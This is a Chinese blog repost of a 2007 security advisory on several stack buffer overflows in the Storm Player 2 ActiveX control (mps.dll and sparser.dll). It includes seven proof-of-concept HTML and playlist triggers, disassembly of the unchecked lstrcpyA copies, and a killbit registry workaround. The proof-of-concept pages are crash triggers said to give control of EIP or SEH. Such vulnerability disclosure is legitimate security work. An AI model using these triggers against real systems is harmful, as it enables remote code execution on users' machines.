2007年9月8日星期六

[Advisory]暴风影音2 mps.dll组件多个缓冲区溢出漏洞

Author: ZhenHan.Liu
Date: 2007-09-07
http://www.ph4nt0m.org

Text Mode

网上爆出了一个暴风影音的activex漏洞,调用的是rawParse这个方法,于是简单看了下,发现问题真不少。这些问题都是可以控制eip或者是seh的,也就是说每个漏洞都可以导致执行任意代码。

影响版本:暴风影音2(其他未测试)
未受影响版本:无(目前无补丁)

URL属性、rawParse方法和advancedOpen方法溢出的poc分别如下:

[Vuln 1]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 300) {
    s 
+= "\x0c";
}

storm.URL 
= s;
</script>
</body>
</html>

[Vuln 2]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 300) {
    s 
+= "\x0c";
}

storm.rawParse(s);
</script>
</body>
</html>

[Vuln 3]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.advancedOpen(s, 
"");
</script>
</body>
</html>

URL属性、rawParse方法和advancedOpen方法的溢出本质是同一个问题,他们都调用了sparser.dll导出的一个函数。这个函数从代码来看是处理路径和URL的,URL属性和rawParse方法传入的参数也都是URL。
.text:10004F40 ; int __stdcall sub_10004F40(LPCSTR lpMultiByteStr,int,int)
.text:10004F40 sub_10004F40    proc near               ; DATA XREF: .rdata:1000F2D0o
.text:10004F40
.text:10004F40 var_14          = dword ptr -14h
.text:10004F40 var_10          = dword ptr -10h
.text:10004F40 var_C           = dword ptr -0Ch
.text:10004F40 var_4           = dword ptr -4
.text:10004F40 lpMultiByteStr  = dword ptr  4
.text:10004F40 arg_8           = dword ptr  0Ch
.text:10004F40
.text:10004F40                 mov     eax, large fs:0
.text:10004F46                 push    0FFFFFFFFh
.text:10004F48                 push    offset loc_1000EB21
.text:10004F4D                 push    eax
             ...    ...    ...    ...                 
.text:1000506D                 call    dword ptr [ecx+4]
.text:10005070                 mov     ecx, esi
.text:10005072                 mov     edx, [esp+24h+lpMultiByteStr]
.text:10005076                 push    edx             ; lpMultiByteStr
.text:10005077                 call    sub_10002450

该函数第二、三个参数都是指向用户输入串拷贝的指针,最后一行进入另一个函数:
.text:10002450 ; int __stdcall sub_10002450(LPCSTR lpMultiByteStr)
.text:10002450 sub_10002450    proc near               ; CODE XREF: sub_10004F40+137p
.text:10002450
.text:10002450 var_12C         = dword ptr -12Ch
.text:10002450 pszPath         = byte ptr -120h
.text:10002450 var_1C          = dword ptr -1Ch
.text:10002450 var_4           = dword ptr -4
.text:10002450 lpMultiByteStr  = dword ptr  8
.text:10002450
.text:10002450                 push    ebp
.text:10002451                 mov     ebp, esp
.text: 10002453                  sub      esp, 120h    ; 注意这里分配了120h即288字节大小的buffer
          ...   ...   ...   ...
.text:100024ED                 mov     edi, [ebp+lpMultiByteStr]
.text:100024F0                 push    edi             ; pszPath
.text: 100024F1                  call     ds:PathIsURLA    ; 这里判断是否为合法的URL
.text:100024F7                 test    eax, eax
.text: 100024F9                  jz      loc_10002582    ; 如果不是则跳转
          ...   ...   ...   ...
.text:10002582                 lea     eax, [ebp+pszPath]
.text: 10002588                  push     edi              ; 用户输入的串
.text:10002589                 push    eax             
.text: 1000258A                  call     ds:lstrcpyA    ; 串拷贝造成栈溢出

通过以上分析发现,程序在处理非法超长(长度大于MAX_PATH)URL时发生栈溢出。这个函数是个导出函数,暴风影音其他地方如果调用这个函数的话,都可能有问题。于是通过在这个函数下断点发现暴风影音主程序处理URL时也是调用这个函数,同样也有问题。我们构造一个播放列表文件就可以触发:

[Vuln 4]
<?xml version="1.0" encoding="GB2312"?>
<PlayList>
    
<item name="ph4nt0m" time="" path="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>
</PlayList>

但是问题还远远没有结束,在mps.dll中,还存在很明显的以下几个漏洞:

IsDVDPath方法:
037EAB8B    56              PUSH ESI
037EAB8C    57              PUSH EDI
037EAB8D    50              PUSH EAX                                 ; src
037EAB8E    8D85 F0FEFFFF   LEA EAX,DWORD PTR SS:[EBP-110]           ; dest
037EAB94    68 30FE8003     PUSH mps.0380FE30                        ; ASCII "%s\video_ts.ifo"
037EAB99    50              PUSH EAX
037EAB9A    E8 F2FA0000     CALL mps.037FA691                        ; copy

[Vuln 5]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.isDVDPath(s);
</script>
</body>
</html>

backImage属性:
03FA6D5B   .  8D9E 0C030000 LEA     EBX,DWORD PTR DS:[ESI+30C]      <===========     
03FA6D84   
.  FF75 F0       PUSH    DWORD PTR SS:[EBP-10]                   ; /String2
03FA6D87   .  8986 08030000 MOV     DWORD PTR DS:[ESI+308],EAX              ; |
03FA6D8D   .  53            PUSH    EBX                                     ; |String1
03FA6D8E   .  FF15 5471FC03 CALL    DWORD PTR DS:[<&KERNEL32.lstrcpyA
>]     ; \lstrcpyA
03FA6D94   >  8B86 34040000 MOV     EAX,DWORD PTR DS:[ESI+434]     
03FA6D9A   .  8D8E 34040000 LEA     ECX,DWORD PTR DS:[ESI+434]     
<===========
03FA6DA0   
.  894D 0C       MOV     DWORD PTR SS:[EBP+C],ECX
03FA6DA3   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]

[Vuln 6]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.backImage 
= s;
</script>
</body>
</html>

titleImage属性:
03EA68E7   .  FF75 F0       PUSH    DWORD PTR SS:[EBP-10]            ; /String2
03EA68EA   .  8903          MOV     DWORD PTR DS:[EBX],EAX           ; |
03EA68EC   .  8D86 A4010000 LEA     EAX,DWORD PTR DS:[ESI+1A4]       ; |
03EA68F2   .  50            PUSH    EAX                              ; |String1
03EA68F3   .  FF15 5471EC03 CALL    DWORD PTR DS:[
<&KERNEL32.lstrcpy>; \lstrcpyA
03EA68F9   >  8B86 C8020000 MOV     EAX,DWORD PTR DS:[ESI+2C8]
03EA68FF   .  8D9E C8020000 LEA     EBX,DWORD PTR DS:[ESI+2C8]
03EA6905   .  8BCB          MOV     ECX,EBX
03EA6907   .  895D 0C       MOV     DWORD PTR SS:[EBP+C],EBX
03EA690A   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]

[Vuln 7]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.titleImage 
= s;
</script>
</body>
</html>

针对该控件漏洞的临时解决办法是对该com组建设置killbit,把下面内容保存为.reg文件,双击导入注册表:

[Patch]
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
"Compatibility Flags"=dword:00000400

暴风影音在前段时间宣布脱离了MPC内核,现在大部分代码都是自己写的。我们看到暴风影音在业务迅速发展,版本迅速更新的同时,带来的是对产品安全的忽视与侥幸心理。我以前一直感觉暴风影音会有问题,因为他包含了太多的dll,随便哪个文件格式出问题,就会导致严重漏洞。这些漏洞也许只是冰山的一角,继续挖掘下去,也许会发现更多的东西。快速发展型企业生存不容易,愿“暴风”一路走好。

1 条评论: